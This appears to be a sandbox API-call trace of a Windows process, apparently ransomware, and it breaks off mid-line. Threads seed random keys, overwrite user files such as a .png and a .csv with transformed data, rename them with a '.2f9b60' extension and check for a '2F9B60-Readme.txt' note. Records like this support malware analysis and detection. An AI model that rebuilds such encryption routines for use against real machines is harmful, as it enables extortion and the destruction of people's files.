[0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x21422197 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0xe40f2da [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x29705388 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x5d0b620c [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x6613ad41 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x64e7c001 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x1d4a1333 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x12665613 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x280c64d2 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x64b4ccbb [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0xdee07fe [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x64bce741 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x79326ce9 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x7803ec3e [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x7f14b33e [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x280c64d2 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x2f20e8fa [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x64e7c001 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x67b47fa3 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x77664df0 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x4373b843 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x56204bb8 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0xfb96357 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x539f91e2 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x67c20ac [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x4927a207 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x186325ea [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x1d86aa27 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0xc10b403 [0102.941] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x74fe2674 [0102.952] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.952] ReadFile (in: hFile=0x1720, lpBuffer=0x41f62d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f2afce0, lpOverlapped=0x0 | out: lpBuffer=0x41f62d00*, lpNumberOfBytesRead=0x2f2afce0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.952] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0102.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503790 [0102.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0102.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ab0) returned 1 [0102.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f66910 [0102.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0102.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b10 [0102.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b10) returned 1 [0102.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503790) returned 1 [0102.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0102.953] WriteFile (in: hFile=0x1720, lpBuffer=0x41f66910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f2afce0, lpOverlapped=0x0 | out: lpBuffer=0x41f66910*, lpNumberOfBytesWritten=0x2f2afce0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f66910) returned 1 [0103.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f62d00) returned 1 [0103.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20260b30 [0103.368] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.368] WriteFile (in: hFile=0x1720, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f2afd90, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x2f2afd90*=0x102, lpOverlapped=0x0) returned 1 [0103.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0103.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0103.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0103.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0103.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0103.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0103.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622a0) returned 1 [0103.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0103.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202622a0 [0103.794] sprintf (in: _Dest=0x202622a0, _Format="%c%c" | out: _Dest="7f") returned 2 [0103.794] sprintf (in: _Dest=0x202622a2, _Format="%c%c" | out: _Dest="e9") returned 2 [0103.794] sprintf (in: _Dest=0x202622a4, _Format="%c%c" | out: _Dest="af") returned 2 [0103.794] sprintf (in: _Dest=0x202622a6, _Format="%c%c" | out: _Dest="51") returned 2 [0103.794] sprintf (in: _Dest=0x202622a8, _Format="%c%c" | out: _Dest="27") returned 2 [0103.795] sprintf (in: _Dest=0x202622aa, _Format="%c%c" | out: _Dest="de") returned 2 [0103.795] sprintf (in: _Dest=0x202622ac, _Format="%c%c" | out: _Dest="a4") returned 2 [0103.795] sprintf (in: _Dest=0x202622ae, _Format="%c%c" | out: _Dest="64") returned 2 [0103.795] sprintf (in: _Dest=0x202622b0, _Format="%c%c" | out: _Dest="02") returned 2 [0103.795] sprintf (in: _Dest=0x202622b2, _Format="%c%c" | out: _Dest="d9") returned 2 [0103.795] sprintf (in: _Dest=0x202622b4, _Format="%c%c" | out: _Dest="5e") returned 2 [0103.795] sprintf (in: _Dest=0x202622b6, _Format="%c%c" | out: _Dest="10") returned 2 [0103.795] sprintf (in: _Dest=0x202622b8, _Format="%c%c" | out: _Dest="72") returned 2 [0103.795] sprintf (in: _Dest=0x202622ba, _Format="%c%c" | out: _Dest="2c") returned 2 [0103.795] sprintf (in: _Dest=0x202622bc, _Format="%c%c" | out: _Dest="98") returned 2 [0103.795] sprintf (in: _Dest=0x202622be, _Format="%c%c" | out: _Dest="80") returned 2 [0103.795] RtlInitAnsiString (in: DestinationString=0x2f2afe08, SourceString="7fe9af5127dea46402d95e10722c9880" | out: DestinationString="7fe9af5127dea46402d95e10722c9880") [0103.795] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f2afdd8, SourceString="7fe9af5127dea46402d95e10722c9880", AllocateDestinationString=1 | out: DestinationString="7fe9af5127dea46402d95e10722c9880") returned 0x0 [0103.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97f30 [0103.795] wcscat (in: _Dest=0x20509f90, _Source="7fe9af51" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7fe9af51") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7fe9af51" [0103.795] wcscat (in: _Dest=0x20509f90, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7fe9af51.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7fe9af51.2f9b60" [0103.795] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7fe9af51.2f9b60", NtPathName=0x2f2afdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7fe9af51.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad8c0 [0104.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad8c0) returned 1 [0104.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf300) returned 1 [0104.787] NtQueryInformationFile (in: FileHandle=0x1720, IoStatusBlock=0x2f2afe18, FileInformation=0x2f2afe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f2afe18, FileInformation=0x2f2afe28) returned 0x0 [0104.787] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x2f2afe18, FileInformation=0x2f2afe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509f90) returned 1 [0104.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0104.789] FlushFileBuffers (hFile=0x1720) returned 1 [0104.973] CloseHandle (hObject=0x1720) returned 1 [0105.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c180 [0105.085] wcscpy (in: _Dest=0x1b85c180, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.085] wcscat (in: _Dest=0x1b85c180, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.085] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c180) returned 1 [0105.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 Thread: id = 934 os_tid = 0x1540 [0101.213] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kjaksy2oheoup.png")) returned 0x2020 [0101.213] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png", dwFileAttributes=0x20) returned 1 [0102.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kjaksy2oheoup.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x172c [0102.988] GetFileSizeEx (in: hFile=0x172c, lpFileSize=0x2f20f960 | out: lpFileSize=0x2f20f960*=37803) returned 1 [0102.988] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x93a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.988] ReadFile (in: hFile=0x172c, lpBuffer=0x2f20f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f20f928, lpOverlapped=0x0 | out: lpBuffer=0x2f20f8e0*, lpNumberOfBytesRead=0x2f20f928*=0x4, lpOverlapped=0x0) returned 1 [0102.989] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0102.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202603b0 [0102.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0102.990] NtQuerySystemTime (in: CurrentTime=0x2f20f820 | out: CurrentTime=0x2f20f820*=132462177084898000) returned 0x0 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x10e96923 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x43f5e4f2 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x6b499a8f [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0xc45190e [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x6b499a8f [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x1bfda506 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x2c8c1ef2 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x4100b35d [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x5078a64b [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x1e956c3d [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x35da9ce6 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x6aa4c057 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x31315af5 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x40718f4e [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x1e52f03 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x7aa5caff [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x2e07cb15 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x3263a884 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x70381a72 [0102.990] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x341aa672 [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x354f063f [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x1d7aa8ea [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x6e8d2681 [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x32a78cbd [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x5de2b18d [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x2f518a9d [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x4b6c36c2 [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x64f703a3 [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x78837325 [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x7a8dace7 [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x16291591 [0102.991] RtlRandomEx (in: Seed=0x2f20f810 | out: Seed=0x2f20f810) returned 0x5c65ba3d [0103.002] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.002] ReadFile (in: hFile=0x172c, lpBuffer=0x2048e2e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f20f880, lpOverlapped=0x0 | out: lpBuffer=0x2048e2e0*, lpNumberOfBytesRead=0x2f20f880*=0x3c00, lpOverlapped=0x0) returned 1 [0103.002] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0103.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0103.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0103.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ba0) returned 1 [0103.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20491ef0 [0103.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0103.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0103.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263260) returned 1 [0103.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0103.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0103.004] WriteFile (in: hFile=0x172c, lpBuffer=0x20491ef0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f20f880, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesWritten=0x2f20f880*=0x3c00, lpOverlapped=0x0) returned 1 [0103.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0103.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048e2e0) returned 1 [0103.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9e930 [0103.383] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.384] WriteFile (in: hFile=0x172c, lpBuffer=0x4205a890*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f20f930, lpOverlapped=0x0 | out: lpBuffer=0x4205a890*, lpNumberOfBytesWritten=0x2f20f930*=0x114, lpOverlapped=0x0) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a890) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f3f0) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260320) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e930) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ba0) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202603b0) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631a0) returned 1 [0103.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0103.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b10f0 [0103.800] wcscpy (in: _Dest=0x202b10f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png" [0103.800] wcscat (in: _Dest=0x202b10f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png.2f9b60" [0103.800] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png.2f9b60", NtPathName=0x2f20f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KJAKsy2oheOup.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x108140 [0104.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108140) returned 1 [0104.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053460) returned 1 [0104.522] NtQueryInformationFile (in: FileHandle=0x172c, IoStatusBlock=0x2f20f9b8, FileInformation=0x2f20f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f20f9b8, FileInformation=0x2f20f9c8) returned 0x0 [0104.522] NtSetInformationFile (FileHandle=0x172c, IoStatusBlock=0x2f20f9b8, FileInformation=0x2f20f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b10f0) returned 1 [0104.524] FlushFileBuffers (hFile=0x172c) returned 1 [0104.804] CloseHandle (hObject=0x172c) returned 1 [0105.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4890 [0105.002] wcscpy (in: _Dest=0x202a4890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.002] wcscat (in: _Dest=0x202a4890, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.002] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4890) returned 1 [0105.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4c80) returned 1 Thread: id = 935 os_tid = 0x1544 [0101.215] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KnY02ofcKPvu5Xr3.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kny02ofckpvu5xr3.csv")) returned 0x2020 [0101.215] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KnY02ofcKPvu5Xr3.csv", dwFileAttributes=0x20) returned 1 [0103.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KnY02ofcKPvu5Xr3.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kny02ofckpvu5xr3.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1730 [0103.004] GetFileSizeEx (in: hFile=0x1730, lpFileSize=0x2f43f9a0 | out: lpFileSize=0x2f43f9a0*=63427) returned 1 [0103.004] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0xf7bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.004] ReadFile (in: hFile=0x1730, lpBuffer=0x2f43f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f43f968, lpOverlapped=0x0 | out: lpBuffer=0x2f43f920*, lpNumberOfBytesRead=0x2f43f968*=0x4, lpOverlapped=0x0) returned 1 [0103.005] SetFilePointerEx (in: hFile=0x1730, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263260 [0103.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0103.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0103.006] NtQuerySystemTime (in: CurrentTime=0x2f43f860 | out: CurrentTime=0x2f43f860*=132462177085054000) returned 0x0 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x3174f65e [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x32a78cbd [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x3a134aa2 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x5b369b3b [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x50ba05f6 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x660f83cc [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x6a7997 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x6f375175 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x351d017d [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x43f5e4f2 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x63847b19 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x6d4affa7 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x597e6375 [0103.006] RtlRandomEx (in: Seed=0x2f43f850 | out: Seed=0x2f43f850) returned 0x320cc2de [0103.006] RtlRandomEx (in: 